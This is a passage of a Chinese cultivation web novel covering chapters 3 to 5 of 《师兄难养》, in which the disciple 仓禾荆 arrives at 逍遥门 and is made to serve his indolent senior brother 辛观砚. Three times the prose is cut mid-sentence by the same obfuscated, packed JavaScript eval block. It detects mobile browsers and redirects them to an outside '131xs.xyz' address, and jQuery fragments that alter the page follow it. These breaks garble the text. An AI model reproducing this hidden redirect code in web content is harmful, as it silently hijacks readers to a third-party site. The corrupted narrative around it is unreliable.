《师兄难养》 3. 第 3 章(替换版) 路上师徒俩依旧会时不时碰到一些走尸,又或其它的精怪,经过上一次的走尸事件,仓禾荆已经生起了提防,他深知弱而保己的道理,每一次邪祟出现就不动声色挪动脚步,将作为师父的逍遥散人护在身前,再关切喊一句师父小心。 有时候邪祟在人家户里头,除了邪祟主人家会请吃饭,仓禾荆也不用再像以前在家里只能吃一碗饭,哪怕他一口气吃五碗,主人家也不会说什么,反而小心翼翼尊敬又畏惧地询问他还够不够。 逍遥散人除邪祟时,仓禾荆会抱着两人的包袱站在不远处,他神情冷静,背挺如松,不畏不惧,给人的感觉是名师下的高徒,如此旁人不敢轻视他,又见他不如师父那般好亲近,也只能尊敬又畏惧地对待了。 这何尝不是一种狐假虎威? 在这番狐假虎威的借势下,仓禾荆没缺过多少吃食,不过一月,原本干瘦的身体竟然如竹笋抽长了一截,穿在身上的衣物露出了手腿上的腕子。 一日复一日的赶路,他始终沉默无声,不曾多问些什么,也不曾抱怨什么,静得如一汪湖水,叫逍遥散人想起自己收大徒弟的时候,他收大徒弟的时候大徒弟还小,六岁,与这个徒弟截然不同,漂亮的小孩一直牵着他的手,看见走尸吓得哭了起来,哄乖了就话很多,一会儿问他什么时候才到新家,一会儿问他既然是仙人为什么不飞天上这样要快些,一会儿困了要他背着,趴在他背上睡觉,醒来还要哭一会儿说要娘好痛。 若非他有带过孩子的经历,非被熬个半疯不可。 那孩子出身尊贵,却骤然亡国落难,失了双亲,偏偏又是天生的剑仙之骨,一旦碰了剑,连梦里都在练剑,可练剑太苦了,他之前没吃过苦,也不知道怎么做才能结束这份痛苦,于是只能哭着喊娘,好似喊娘就不那么痛了。 回想过往的记忆,看了看仓禾荆,逍遥散人叹了口气。 “师父可是有什么烦恼?”仓禾荆体贴询问。 逍遥散人道:“看见你突然想起你大师兄。” 他比了比仓禾荆,“你大师兄入门的时候,到你腰这儿,这么小。” 仓禾荆是第一次听逍遥散人说师门的情况,他不动声色道:“能被师父收入门下,想来大师兄一定是天资极为出色修行刻苦之辈。” 天资出色是不错,但修行刻苦…… 逍遥散人脸上露出一丝尴尬神色,不愿提起这个话题,打个哈哈就过去了,“这个嘛……你到了逍遥门就知道了。” “除了你大师兄,你还有二师姐、三师兄,四师姐,他们倒是修行刻苦。” 仓禾荆点点头,一派温顺神色,“好。” 事实上,仓禾荆对宗门的师兄师姐没半点兴趣,他与人真诚相处的能力早在扭曲畸形的家庭关系里被磨成粉末,还未有过,便已经消失得无影无踪,剩下的只有靠揣摩人心做出合对方心意的事说出合对方心意的话,如此才能让自己活得不那么痛苦折磨。 去往逍遥门的路途很是漫长。 脚磨出了厚厚的茧子,起了水泡又破,后脚跟被粗糙的鞋面割出鲜红流血的伤痕,仓禾荆不发一言,还是摔伤了皱眉看着自己的脚才叫逍遥散人发现,当了所谓的“仙人”太久,逍遥散人的身体早已摆脱这种小磨小伤,大徒弟路上不舒服就会闹腾,大部分时候趴在他背上让他背,另外三个徒弟是直接送上了门,他粗心,仓禾荆不说,自己也吊儿郎当的没有发现。 这段时日的陪伴与相处,逍遥散人对这个徒弟难免多了几分真心,看着那双伤痕累累的脚,眉头拧紧,“你这孩子,伤成这样怎么不说。” 仓禾荆仰着面颊,恭顺沉稳道:“我不想师父为我担心,就忍了下来。” 几滴还复散滴在仓禾荆的脚上,收了瓶子,逍遥散人神情复杂地看他,片刻,他伸出手摸了摸仓禾荆的脑袋,说着:“以后不用如此,哪里不舒服就说出来,从今天开始,逍遥门就是你的新家,师兄师姐是你哥哥姐姐,我是你……”咳了咳,“一日为师,终身为父,你把为师当成父亲便是。” …… 又二十日过后,这对“和父子无异的”师徒终于抵达了逍遥门。 仓禾荆从未走过这么远的路,在这之前,他走过最远的路是去镇里的学堂接齐耀宗,去一个半时辰,回来一个半时辰。 以师观门,他并不觉得所谓的逍遥门能够好到哪里去,师父虽有驱除邪祟的仙人能力,但一路上行事作风扣扣搜搜,用了些符咒法器事后就会心疼得要死,好似最大的大方就是花二十两银子买下了他。 他们路上除了给别人家驱邪能吃得好一点,平日里路上啃的也不过是干饼馍馍,他想所谓的逍遥门说不定就是个藏在深山里的平平无奇的道观。 只是到了门派以后,仓禾荆才发现和他想的大相径庭。 是藏在深山里不错,但不是平平无奇的道观。 此处山底云雾缭绕,寻常人入了中就会顿失方向,白茫茫的什么都看不见,但这浓厚的白雾对逍遥散人却像是不存在一般,对方拉着他的手一直往前走,大约一柱香的时间后,白雾慢慢散去,他们已经身在半山腰。 回头望脚底是模糊不清的白雾,抬头看是一道山门,山门上刻着逍遥门三个字。 过了石门,是接着往上走的石阶,尽头处是山巅,只山外还有山,山上坐落着好几处建筑,隐于密林之中,看不清轮廓,只隐约瞅得见一点影子,又过了小道,视线慢慢宽阔起来,仓禾荆陆陆续续遇到几个穿着青色衣袍的弟子,那些弟子不说面貌,行走之间,身姿便有种说不出来的飘逸。 “掌门。” “见过掌门。” “掌门回来了。” 青衣弟子们的视线陆续落在仓禾荆身上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239068|181874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽有些许好奇,却什么也没问,只拱手行礼点点头就离开了。 仓禾荆不动声色回头看了他们一眼,耳边传来一道沉稳的女声,“师父,你回来了,大师兄已经等你很久了。” 仓禾荆回头。 入眼的是一名年轻女修,对方身上穿的不再是青色衣袍,里面是雪白的衣裳,外面罩一层浅蓝色的衣衫,腰间还挂着一把箫,生得很端庄秀丽,眉眼中自有静气。 面对蓝衣女修,逍遥散人嬉皮笑脸道:“这不是下山给你们大师兄找个小师弟嘛。” 蓝衣女修一顿,这才注意到仓禾荆,打量了片刻后,蓝衣女修轻移莲步走到仓禾荆面前,伸出手想摸他脑袋的样子,只是这种温情止在仓禾荆汗涔涔上面还粘着草叶子的头发上,虚虚隔了一层,露出一抹隐约有些真切的笑意,“五师弟好。” 仓禾荆看了眼逍遥散人,逍遥散人对他说:“这是你二师姐,叫文元香,你叫他二师姐便好。”于是他开口了,恭顺沉稳,不失礼貌,“二师姐。” 文元香笑意盈盈点了点头,又转向逍遥散人,犹豫着道:“师父,你确定要这样子带着五师弟去见大师兄吗?” 逍遥散人一顿,低头看了看像从乱葬坟里爬出来的自己,又看了看像从乱葬坟里爬出来的仓禾荆,他脸色一变,忽地抓起仓禾荆,分明瘦瘦没什么肉的身躯,提起仓禾荆像提一条柳枝,仓禾荆还没反应过来,就被提着跑了,还听到逍遥散人吩咐人去准备热水。 一柱香之后,房门打开,仓禾荆已经换了身衣服,半湿润的头发拿一根木簪子系在头顶,十五岁的少年,五官看起来还有些稚气,眼睛却比同龄人成熟很多,眉略微压眼,有一种若有若无的漠然阴沉之气,但很快又被他收敛得一干二净,唯剩一片平静的恭顺。 已经焕然一新的逍遥散人前来看了看,十分满意点点头,随即慈眉善目道:“小仓啊,你跟我来,我带你见你大师兄。” 仓禾荆何等聪慧之人。 之前文元香的话,还有逍遥散人现在的举动,无一不代表着在逍遥宗这位大师兄的地位举足轻重,他被逍遥散人领着往大师兄的山头走去,中途经过一棵柳树,逍遥散人忽然想起什么,从怀里摸出来一个小白瓶,取了一根柳枝在里面蘸了蘸,在他身上洒了洒。 仓禾荆闻到一股子淡淡的栀子花香。 “师父?”这下他是真疑惑了。 逍遥散人又给他整理耳边被吹乱的头发,“你大师兄喜欢香香的,你香香的,他对你态度也会好些。” “别怕啊,小仓,你们大师兄是很好……”那句很好相处的话逍遥散人实在说不出来,他摸了摸仓禾荆的脑袋,“你多体谅体谅你大师兄,他是个好人。” 仓禾荆:“……” 他脸上依旧平澜无波,心里却想着道,您老人家是在给你家大师兄找媳妇吗? 4. 第 4 章 不管心里如何做想,仓禾荆面上依旧是那个沉稳得当的体贴徒弟,他颔首说自己知道了,跟着逍遥散人爬上一座山头。 只见山头上伫立着一处十分雅致的大型庭院,一旁立着块巨石,上面刻着平安峰三个字,院门外垂挂着一串风铃,有人靠近,风铃便开始摇晃,发出悦耳的响声。 逍遥散人径直推开院门,轻车熟路走了进去。 哗啦啦的水声传进耳朵里,是水车运着水到屋檐上方流入竹管,又通过瓦垄流下,坠入溪池中,穿过曲折坠“雨”的曲廊,步入四面都是窗的房间,光影透过窗落进屋中,里面放置着一张美人榻和木茶几,再往里,又是一处曲廊,曲廊围着的中央是一颗巨大的樱树,一片花瓣飘到仓禾荆面前,他无动于衷注视着那片花瓣从眼前飘落,抬脚跨了过去。 来的路上仓禾荆也见过不少逍遥门的建筑,但大多简洁朴素,唯独这平安峰,是他从未见过的典雅奢侈。 “观砚!你看我给你带回来了什么!” 随着逍遥散人声音的散开,曲廊两边挂着的风铃叮叮当当的响,并非是一起紊乱的响声,而是由外往里陆续发出的声响。 嘎吱一声,门被一阵风吹开,好似迎着来客。 逍遥散人带着仓禾荆钻了进去。 仓禾荆收回看向外面风铃的视线,转过头。 那是他第一次见到他的大师兄。 微风吹着窗门微微来回的晃,阴影处的美人榻上趴着一个人,看不清脸,但见对方乌黑的墨发落下来,像流动的湖水一般,那人面容掩在手臂中,身穿白色的衣袍,外面罩一层仓绿的褧衣,褧衣薄如蝉翼,腰间系着一根细细的红色腰带。 日光止步在美人榻前,睡在塌上的人衣摆与腰带一起垂下,明暗的光影在衣摆上交织出鲜艳的色彩,影影绰绰,摄人心魄,一时让仓禾荆分不清对方是男是女。 逍遥散人风风火火就走了过去,噼里啪啦的脚步声和大喊把“睡美人”炸醒。但见美人隐约能窥见一丝雪白肌肤的脸颊微动,流水般的墨发也有了生命一般,随着美人抬头的动作自然而然落到肩膀上,露出一张睡眼惺忪的面容。 和寻常人不一样的松绿瞳孔,因为刚醒,目光没有聚焦,还有些茫茫然的。 一张少年男性完美无瑕的面容。 风铃已经告知来人是谁,才刚睡醒的辛观砚还没注意到仓禾荆,他缓了一会儿方才温吞开口:“……啊,师父你回来了啊。” 逍遥散人:“……” 瞧瞧,瞧瞧,这是等他很久的样子吗? 这分明是睡了很久的样子! 视线慢慢清晰,辛观砚终于看见了站在师父身后的少年,少年生得面容清俊,穿着不合身的衣服,沉默寡言地跟个木头一样杵着,眼皮低垂,活像个…… 嗯,像他以前身边的侍卫随从。 辛观砚勉强自己坐直了些,只是哪怕坐起来,他看起来都跟没骨头一样,随时又能倒回去继续睡的样子,干脆手抵着脑袋,用比刚才快一点但依旧有些慢吞吞的声音说:“这就是师父你给我带回来的五师弟吗?” 仓禾荆的师父、逍遥门的掌门逍遥散人慈眉善目地弯腰带笑凑了上去,姿态如宫里的老公公,只恨手中没个拂尘,于是只能搓着手道:“不错,正是为徒儿您带回来的五师弟,您看如何?” 辛观砚伸手招了招,让仓禾荆过去。 逍遥散人给仓禾荆递了一个眼神。 仓禾荆走到这美得不似凡人的大师兄面前,距离近了,他嗅到一股淡而浓郁的香气,那香不似花香,也不似果香,淡如加了一点甜糖的水,浓郁是味道清晰,扑面而来。 他停住脚步,轻喊了一句大师兄。 只见眼前这美人师兄懒洋洋地应了,懒洋洋地抬起一只手的袖子,另外一只手在里面掏啊掏,掏啊掏,最后掏出一方白色的手帕,盖在他的手腕上,隔了一层布料后,这才眉眼一松,纡尊降贵的搭手上去。 仓禾荆敛着眼眸。 一股冰冷刺骨的异感突地传来,仿佛有一根针穿透皮肉,扎进他的骨头里,顺着手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239069|181874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨一路往上窜上去,仓禾荆下意识要收手,又很快反应过来,逼着自己忍下去,只额头渗出细汗。 “放松,五师弟,别紧张。”辛观砚不怎么上心地宽慰着。 过了好一会儿,辛观砚方才松开手。 仓禾荆只觉得眼前晃过一道很白的光影,而后那种古怪的身体被摸了个遍的怪异感消失得一干二净,他不动声色后退了两步站立着,另外一只手轻轻搭上这只手的手臂,脸色有些发白。 那方白色的手帕也顺着他退后的动作飘落在地上,入了尘埃里。 “还成。”辛观砚打了个哈欠,温吞问仓禾荆道:“做饭打扫怎样?” 这个问题让仓禾荆不自觉地皱起眉。 不等他开口,一旁的师父已经殷勤回应:“可勤快!徒儿,小仓打扫卫生,那是地上看不见一点灰尘,做的菜吃了以后口齿留香!”说罢喉咙鼓动两下,显然是想念得很了。 于是那大师兄看了他一眼,柔弱且矜贵地点了两下脑袋,大发恩赐道:“行吧,那就留着。” 不像对待师弟。 像对待一个丫鬟、一个奴才。 仿佛寒冬腊月,头顶落下来一盆冷水,浇得什么都没有了,只剩下让人漠然的冰冷。 逍遥散人欢欢喜喜把仓禾荆带出门去,事到如今,仓禾荆还有什么不明白的,为什么一来逍遥门就要见大师兄,为什么要让他洗干净整理后去见大师兄,说逍遥门以后就是他新家,要当他父亲的师父,其实和他后爹也没什么区别。 原来不是给他大师兄找媳妇,而是找一个奴才。 说什么师弟,说什么家人,就像娘口中的“我们都是一家人”一样的让人恶心。 仓禾荆默不作声,安静垂下的眼里却有暗流涌动,就在他心神变幻之际,逍遥散人弯下腰来,刚才在辛观砚面前的谄媚迎合不再,神情变得正经起来,“小仓啊,刚才都是在哄你大师兄的,你别多想。” 仓禾荆平静望着他,忽地弯了弯唇瓣。“师父多心了,徒儿怎么会多想呢?” 5.第 5 章 出于把兔子小徒弟送入狼窝大徒弟的一点微妙的愧疚,一向吝啬的逍遥门掌门忍着肉疼给这位小徒弟塞了不少好东西,能够引火召水唤木的五行符、瞬移出一段距离的瞬移符,还有一些护身法器。 他拍了拍仓禾荆的肩膀,嗓音慈爱让他在平安峰好好待着,而后叫来平安峰的一个外门弟子,让对方去给仓禾荆整理出一个屋子。 给仓禾荆整理屋子的外门弟子叫松山,十七八岁的模样,身上穿的是仓禾荆初入上门时见的那批弟子身上的青色衣袍,他打扫着房间,笑着道:“五师兄还是第一个能留在平安峰的弟子,其它的几位师兄师姐都有自己的居处,掌门对五师兄真是不一样呢。” 仓禾荆不动声色按着袖子下逍遥散人送他的符咒,故作疑惑地询问:“你怎么叫我五师兄?” 松山回道:“我们是外门弟子,五师兄是内门弟子,外门弟子称呼内门弟子都是叫师兄的。” 还有外门弟子与内门弟子的区分。 仓禾荆初入逍遥门,很多事都不明白,而他也不想问逍遥散人,怕逍遥散人看出什么,对自己心生防备,不肯传授,于是对松山旁敲侧击,松山还太年轻,对这位年纪轻轻的五师兄没有一点提防,一会儿就被套干了话。 他们这逍遥门在修仙界诸多门派里是没什么名字的一门,门里原来四位正经的弟子,现在他来了,就是第五位。 仓禾荆不动声色打探前面几位师兄师姐修为如何,得知修为最高的是二师姐文元香,在前年迈入了筑基,而后是三师兄文元净,今年方才迈入筑基,最后是依旧还在炼器的四师姐文元安。 “那大师兄呢?” 松山一愣,他看向这位掌门带回来的看起来十分青涩的少年,犹豫片刻,摇了摇头。“不知道。” “松山哥在平安峰伺候,竟也不知道吗?”仓禾荆的神情端得是一片恰到好处的天真。 松山道:“我们一直没见过大师兄出手,大师兄总是待在屋子里,大部分时候都在睡觉,我们这些外门弟子也不能随意靠近,师姐师兄他们也没和我们说过大师兄修为几何。” 他轻笑一声,“其实我们也很好奇大师兄修为的,应该很厉害吧?你看我们逍遥门,都是把大师兄供起来的,在大师兄面前,掌门都要小心翼翼哄着,掌门怎么做,师姐师兄们怎么做,我们也就怎么做了。” “听说以前逍遥门都不招外门弟子的,是因为大师兄才招的。” 仓禾荆不知道那位大师兄修为厉不厉害,但肉眼可见的,折腾人大抵是很厉害的,不然他的那位身上有娘味道的师父也不会在对方面前点头哈腰。 心中有了掐算,他不再多问,松山整理干净屋子,问他还有没有其它需要做的。 被收拾出来的屋子干净敞亮,床被柔软崭新,窗门开着,还能看见院子里的那颗樱树。 挺好的,仓禾荆想。 在这里当奴才比在后爹家里当奴才好得太多,不用睡柴房,也不用盖那潮湿厚重的被子,这样一间房间,比后爹家里最好的那间还要好。 现在做奴才,不代表以后一直做奴才,等他成了逍遥门最厉害的人,到了那时候,谁还能使唤他?不都要在他面前夹着尾巴吗? “没有了,多谢松山哥。” “五师兄折煞我了,您唤我松山就行。” 仓禾荆自然而然改口,“松山。” 门外传来敲门声,“五师兄,大师兄叫您过去一趟。” 听到传唤,仓禾荆梅开二度地迈入了他大师兄的住处。 屋子里暗香幽生,那看起来身形柔弱也很怠惰的大师兄已经换了身衣服,仓禾荆垂着头,视线只看得见白红交织的外裳,还有幽蓝的一根腰带。 跟只花蝴蝶似的。 “见过大师兄。” 不知道要行一个什么样的礼,仓禾荆索性行了一个最不出错的,那就是半跪在地上拱起手。 头顶坐的仿佛不是大师兄,而是“大小姐”,还是不怎么好伺候的“大小姐”,那“大小姐”姿态悠哉悠哉将仓禾荆从上到下看了一遍,看见仓禾荆身上穿的还是那套不合身的衣物,惊诧道:“你怎么还穿着这身长工的衣服?” 仓禾荆平静无波道:“大师兄,我只有这一套衣服。” 其实还有另外一套,但那套今天才换下来,很脏,身上穿的这套是在来逍遥门前在溪水里洗过的。 辛观砚第一次看他这位叫仓禾荆的师弟,第一印象是太苦了。 整个人仿佛一颗黄莲一般,从淤泥里生长出来,结的果子也很苦。 为了表现出大师兄该有的照顾师弟的担当,他让身边伺候的松竹去拿了一套自己前年穿的衣物,让仓禾荆穿在身上。 仓禾荆在屏风背后换完衣服走出来,辛观砚看了一眼,脸上露出古怪神色。 他的衣服明明都很精致漂亮,五颜六色的,这叫仓禾荆的小师弟长得也还算不错,就是黑黢黢了一点,但也没黑到哪里去,怎么穿着他的衣服……这么奇怪呢? 合身倒是勉强合身,但是完全不合人。 轻咳一声,辛观砚当作自己没发现此番古怪,假装上下看了看,点点头,“嗯……还成,那……暂且先这么穿着吧,明天早上师父那里会给你送来新的衣服的。” “多谢大师兄赐衣。”仓禾荆在家里应付齐耀宗是应付习惯了的,半跪在地温顺地说。 不错不错,新来的小师弟很上道嘛,辛观砚唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248538|181874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角掀了掀,心情不错,他往美人榻后面靠了靠,刚才的看别人穿自己衣服那诡异的违和感也消失得一干二净了。 该有的照顾师弟有了。 接下来那就是告诫训导师弟了。 他摆正自己的神情,一本正经道:“师弟啊,你进逍遥门第一天,师兄我要告诉你我们宗门的门规,日后你要好好牢记心中,好好遵守,明白吗?” “还请师兄教诲。” “我们逍遥门的门规有三条。”辛观砚渴了,手指向一旁放着的果盘,松竹端到他面前,他伸手接过,拈起一颗葡萄放嘴里,雪白的指尖一点一点。 “第一条伺候大师兄。” “第二条是好好伺候大师兄。” “第三条是把大师兄伺候好。” 薄薄的皮被他吐在盘子里,“大小姐”微微一笑,“嗯,就这三条。” 闻言,仓禾荆平波无澜的神情下,微微低垂的眼皮下是嗤之以鼻的讥讽。 他觉得自己这位大师兄大抵天真幼稚到了极点,觉得天底下的人都活该伺候他,而诡异的是整个逍遥门竟然也配合他这个大师兄玩过家家的游戏。 就如现在,当“大小姐”说出这番话时,身边的松山和松竹脸上都露出一些忍俊不禁的神情,却又很快忍住,强作出沉稳的模样。 “我知道了,大师兄。” 仓禾荆比他们伪装得更好,至少他面上不会显露一分一毫的疏漏,很完美的配合这位大师兄出演了一场戏。 辛观砚却没那么好糊弄。 他清楚这几条门规任谁听了都觉得荒诞,更别说这看起来苦苦的“长工师弟”,只他并不在意旁人如何想,见这位小师弟很有自觉,便打了个哈欠,抬了抬手,打发道:“真乖,那个……松竹。” “大师兄。”松竹站了出来。 “去,拿几块糕点给我这位小师弟。” 松竹点头说是,转头取了一个盒子过来,盒子打开,里面是一排裱着鲜花形状的不知名糕点,看着便可口非常。 “谢大师兄赏。”仓禾荆伸出双手接过,神情恭顺。 辛观砚更满意了,打了个哈欠,重新柔柔弱弱躺回美人榻上,将人打发走,“行了,回去休息吧,明早儿给师兄我做个早饭,看看你厨艺怎么样。” 仓禾荆面无表情出了那暗香浮动的屋子,回到自己房间,铜镜里的人穿着不合身的鲜亮衣服,却显得更为落魄,浑身上下写满不配二字,嗅着那微弱与他大师兄身上一样的淡香,他兀自扯出一抹皮笑肉不笑的笑容,把原来的衣服换了回来,至于那套鲜亮的衣服则是被塞进了见不得光的抽屉里。 连带着一起被扔进去的,还有那装了不知名漂亮糕点的盒子。